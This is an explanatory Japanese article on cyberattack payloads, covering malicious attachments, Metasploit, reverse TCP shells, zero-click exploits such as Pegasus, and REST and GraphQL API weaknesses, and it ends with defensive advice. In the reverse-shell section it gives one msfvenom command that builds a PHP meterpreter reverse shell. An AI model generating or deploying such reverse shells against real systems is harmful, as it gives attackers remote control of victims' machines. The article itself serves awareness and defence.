ペイロードとは、ハッカーが脆弱性を悪用した際に実行されるコードの一部です。言い換えれば、これはエクスプロイトモジュールです。通常は、標的のOS上で実行されるいくつかのコマンド(キーロガーなど)で構成され、データの窃取などの悪意ある行為を実行します。
ほとんどの攻撃ではペイロードが使われますが、悪意のあるリンクを含まないフィッシングキャンペーンなど、ペイロードを使わない攻撃もいくつかあります。ただし、より巧妙な、たとえばマルウェアを使わずになりすましなどで標的をだます攻撃もあります。
ペイロードはどのように実行されるのか
メールの添付ファイルに有害なペイロードが仕込まれていることは珍しくありません。最も一般的な攻撃の1つは、悪意のあるペイロードを含み、バックドアをインストールする.pdfファイルを添付したメールを送ることです。
被害者がファイルをダウンロードしてダブルクリックで開くと、バックグラウンドでコードが実行されます。ペイロードは休眠状態のまま、後で実行されることもあります。
また、ペイロードは画像などの実行可能でないファイルに隠され、後から作動することもあります。多くの人は、.zipや.exeファイルよりも.pngファイルのほうが開くことへの抵抗が少ないでしょう。
ハッカーがマシンへの感染に使えるペイロードは、いくらでも存在します。たとえば、グラフィカルインターフェースを使ってペイロードを生成することもでき、Metasploitフレームワークを使えば生成できます。
この侵入テストでは、ペイロードを生成できるだけでなく、ハッカーが侵入した後に感染したマシンとの着信接続をエミュレートすることもできます。その後、標的のコンピューターを操作し、スクリーンショットの撮影、ファイルシステムの操作、ウェブカメラへのアクセスなどを行えます。
ユーザーがメールの脅威にさらされ続けているため、従業員研修やメールゲートウェイなどのツールは不可欠なサイバーセキュリティ対策です――詳しくは、おすすめの従業員向けサイバーセキュリティ研修プログラムとおすすめのセキュアウェブゲートウェイをご覧ください。
ペイロードとリバースTCPシェル
Metasploitはリバースシェルの生成に便利です。次のコマンドは、Metasploitフレームワークを使ってリバースTCPシェルを生成します。
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > myshell.php
-pオプションはペイロードを表します。
攻撃者はこれを使い、対話型シェルを通じて侵害したマシンを制御します。標的がサーバー、攻撃者がクライアントになります。リスナーにより、被害者がTCP接続を送信した際にシェルを提供し、被害者のコンピューターにアクセスできます。
たとえファイアウォールが有効でも、外向きのTCP接続はブロックされません。ハッカーは標的のマシンにインストールしたペイロード(トロイの木馬など)とTCP接続を使い、リモートでコードを実行します。
ゼロクリック攻撃とペイロード
ほとんどの攻撃では、マルウェアをインストールしたり偽のウェブサイトへリダイレクトしたりする何らかの操作を、被害者にクリックさせます。
ゼロクリック攻撃ではその必要がありません。人間という要素を介さないため、対処のしようがありません。悪意のあるペイロードが、Wi-Fi、Bluetooth、GSM、LTEなどの無線接続を通じて標的のデバイスに送られ、実行されます。
通常は、パッチ未適用のソフトウェアに存在する未知の欠陥(「ゼロデイ」脅威)を悪用するため、防御やフォレンジック対策を講じることができません。このようなハッカーは、成功率が低いソーシャルエンジニアリングや複雑なシナリオに手を出しません。すでにバックドアを手に入れているからです。
NSO Groupが開発したPegasusソフトウェアについて聞いたことがあるかもしれません。このソフトウェアは、WhatsApp、Telegram、Skype、iMessageなど、広く使われている(デフォルトでインストールされている)アプリケーションのゼロデイを悪用します。チップのファームウェアを攻撃してデバイスのrootアクセス権を取得することさえ可能で、ユーザーよりも多くの権限と機能を得られます。
こうした攻撃はかなり高額になる可能性があり、標的となったソフトウェアも最終的にはパッチが適用されます。そのため、リスクはかなり低いと思うかもしれませんし、多くの場合、その考えはおそらく正しいでしょう。
しかし、企業など機密性の高い環境では、極めて機密性の高いデータを保護するのが賢明です。さらに、サイバー攻撃者は悪用できる新たなゼロデイを常に探し、実際に見つけています。警戒を怠らず、強固な防御態勢を維持することが常に必要です。
安全でないAPIエンドポイントの危険性
ゼロデイについてできることは多くありませんが、自社のAPIエンドポイントは確認できます。APIはプログラマー向けのインターフェースです。アプリケーションが利用できる貴重なデータを公開します。ほとんどの企業はRESTful APIを使用していますが、GraphQLも近年非常に人気が高まっています。
RESTは、リソースを特定のURLで取得できる、API向けの標準化されたクライアント・サーバーアーキテクチャです。クライアントはREST APIを使ってデータを取得(GET)できるほか、新しいエントリーの作成、既存エントリーの変更(POST、PUT)、一部の削除(DELETE)も行えます。
URIの設計には標準と慣例が用いられます。各リソースは特定のエンドポイントで取得できます。たとえば、すべての注文を取得する場合はhttps://myapi.com/v1/ordersを使いますが、特定の注文1件ならhttps://myapi.com/v1/orders/1001001を使います。1001001は注文IDです。
注文データを公開すべきでないのは明らかであり、エンドポイントは定期的にテストする必要があります。そうしなければ、ハッカーが細工したペイロードを送信して、リソースの読み取り、追加、変更、削除を行う方法を見つける可能性があります。
GraphQLは異なるアプローチを採用しており、エンドポイントは1つだけです。そこに複数のリクエストを渡し、非常に便利な構文でデータを簡単にクロス結合できます。より厳格な型による優れたデータ検証など、多くの利点があり、使っていて楽しい技術でもありますが、セキュリティ上の問題を引き起こす可能性があります。
- デフォルトの/graphqlエンドポイントURLは非常に広く使われているため、攻撃対象になります
- イントロスペクション機能によって非公開情報が明らかになり、本番環境で誤って有効になっていることがあります
- クエリの深さが過剰だと過負荷が発生し、自ら招いたDDoS(分散型サービス拒否)につながる可能性があります
- GraphQLスキーマが複雑なため、認可の欠陥も非常によく見られます
ハッカーはおそらくGraphQLエンドポイントを試すでしょう。GitHubのような公開プラットフォームでない限り、GraphQL APIを一般に公開すべきではありません。
RESTful APIとGraphQL APIのどちらを使う場合でも、レート制限には細心の注意を払ってください。これはサーバーのインフラを停止させかねない重大なポイントです。
ペイロードから身を守る方法
メールの添付ファイルやリンクをむやみにクリックしないことはもちろん、基本的なセキュリティ衛生に関する重要なヒントをすべて実践できます。また、定期的に侵入テストを実施し、脆弱性にパッチを適用する必要があります。
ビジネスにとって極めて重要なので、APIを安全に保ってください。そのためには、開発者が、設定を誤ったり適切に実装しなかったりするとセキュリティ上の問題を引き起こす流行のフレームワークではなく、自分たちが熟知した堅牢な技術だけを使うことが求められます。





